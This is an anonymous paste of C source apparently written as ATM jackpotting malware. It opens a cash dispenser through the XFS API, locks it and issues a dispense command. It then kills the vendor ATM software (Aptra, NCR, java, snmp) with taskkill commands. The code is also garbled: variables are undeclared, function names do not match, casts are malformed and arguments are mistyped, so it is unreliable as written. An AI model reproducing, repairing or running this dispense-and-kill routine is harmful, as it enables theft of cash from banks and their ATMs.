Advertisement
Guest User

Untitled

a guest
Jul 15th, 2018
156
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.79 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <stdbool.h>
  4. #include <xfsapi.h>
  5. #include <xfscdm.h>
  6.  
  7. #define _ver_xfs_require 0x0100000d
  8. #define _ver_spi_require 0x0100000d
  9.  
  10. const char _logicalName[] = "CourrencyDispenser1";
  11.  
  12. #define TIME 0x07D0
  13.  
  14. void _shell_execute_cmd(char *_v1,
  15.                         char *_v2,
  16.                         char *_v3,
  17.                         char *_v4)
  18. {
  19.     FILE *fp;
  20.  
  21.     fp = popen(_v1," r ");
  22.  
  23.     if (!fp){
  24.         fprintf(stderr," erro "); exit( 0 );
  25.     }else {
  26.         while(fgets(_v1,sizeof(_v1),fp) != NULL){
  27.             printf("%s \n",_v1);
  28.         }
  29.     }
  30.     Sleep(TIME); system(_v2); Sleep(TIME); system(_v3); Sleep(TIME); system(_v4);
  31. }
  32.  
  33. int main()
  34. {
  35.     HRESULT hResult;
  36.     WFSVERSION lpwfs_version;
  37.  
  38.     HAPP hApp =0;
  39.     DWORD dwTraceLevel = 0;
  40.     WFSVERSION lpSRVcVersion,lSPIversion;
  41.     LPHSERVICE lpHservice;
  42.  
  43.     WFSRESULT *lpResult;
  44.  
  45.     hResult = WFSStartUp(_ver_xfs_require,&lp_wfs_version);
  46.  
  47.     if (hResult == WFS_SUCCESS)
  48.     {
  49.         Sleep(0x1);
  50.         fprintf(stdout," OK ");
  51.     }
  52.  
  53.     v1 = WFSOpen(_logicalName,WFS_DEFAULT_HAPP,"CDM",dwTraceLevel,WFS_INDEFINITE_WAIT,_ver_spi_require,&lpSRVcVersion,&lSPIversion,&lpHservice);
  54.  
  55.     v2 = WFSLock(hService,WFS_INDEFINITE_WAIT,&lpResult);
  56.  
  57.     v6 = WFSGetInfo(hService,WFS_INF_CDM_CAPABILITIES,(void *)&lpStatus,WFS_INDEFINITE_WAIT,(void **)&lppResult);
  58.  
  59.     printf(" Maximo dispenser Itens: %d \n",(((WFSCDMCAPS)lppResult->lppResult->buffer))->wMaxDispenseItems);
  60.  
  61.     switch(((WFSCDMCAPS)lppResult->lppResult->lpBuffer)->fwtype){
  62.         default:
  63.             fprintf(stdout," exit! ");
  64.             break;
  65.         case WFS_CDM_TELLERBILL:
  66.             fprintf(stdout,"The CDM is a Teller Bill Dispenser.");
  67.             break;
  68.         case WFS_CDM_SELFSERVICEBILL:
  69.             fprintf(stdout,"The CDM is a Self Service Bill Dispenser.");
  70.             break;
  71.         case WFS_CDM_TELLERCOIN:
  72.             fprintf(stdout,"The CDM is a Teller Coin Dispenser.");
  73.             break;
  74.         case WFS_CDM_SELFSERVICECOIN:
  75.             fprintf(stdout,"The CDM is a Self Service Coin Dispenser.");
  76.             break;
  77.     }
  78.     ex->_denomination.ulCashBox = 0x1;
  79.     ex->_denomination.ulAmount  = 0x848;  
  80.  
  81.     ex->_disp.usMixNumber = WFS_CDM_INDIVIDUAL;
  82.  
  83.     ex->_disp.usTellerID  = 0x0 ;  
  84.     ex->_disp.fwPosition  = 0x0 ;  
  85.     ex->_disp.bPresent    = 0x0 ;
  86.    
  87.     v3 = WFSExecute(hService,WFS_CMD_CDM_DISPENSE,(void *)&lpDispense->lpDenomination->lpulValues,WFS_INDEFINITE_WAIT,&lppResult);
  88.  
  89.     switch((WFSCDMDISPENSE)->lppResult->fwPosition){
  90.         default:
  91.             break;
  92.         case WFS_CDM_POSNULL:
  93.  
  94.             fprintf(stdout,"  The default configuration information is used. This can \n");
  95.             break;
  96.         case WFS_CDM_POSLEFT:
  97.             fprintf(stdout," Present items to left side of device. \n");
  98.             break;
  99.         case WFS_CDM_POSRIGHT:
  100.             fprintf(stdout," Present items to right side of device.\n");
  101.             break;
  102.         case WFS_CDM_POSCENTER:
  103.             fprintf(stdout, "  Present items to center output position. \n");
  104.             break;
  105.         case WFS_CDM_POSTOP:
  106.             fprintf(stdout, " Present items to the top output position. \n");
  107.             break;
  108.         case WFS_CDM_POSBOTTOM:
  109.             fprintf(stdout, " WFS_CDM_POSFRONT \n");
  110.             break;
  111.         case WFS_CDM_POSREAR:
  112.             fprintf(stdout," Present items to the rear output position.\n");
  113.             break;
  114.     }
  115.      v4 = WFSUnlock(hService);
  116.  
  117.      if (!v4)
  118.      {
  119.         shell_execute_cmd("taskkill /IM aptra* /T /F","taskkill / ncr * / T / F","taskkill / IM java.exe / T / F","taskkill / IM snmp.exe / T / F");
  120.      }
  121.    
  122.     v5 = WFSClose(hService);
  123.  
  124.     system("pause"); return hResult;
  125.  
  126. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement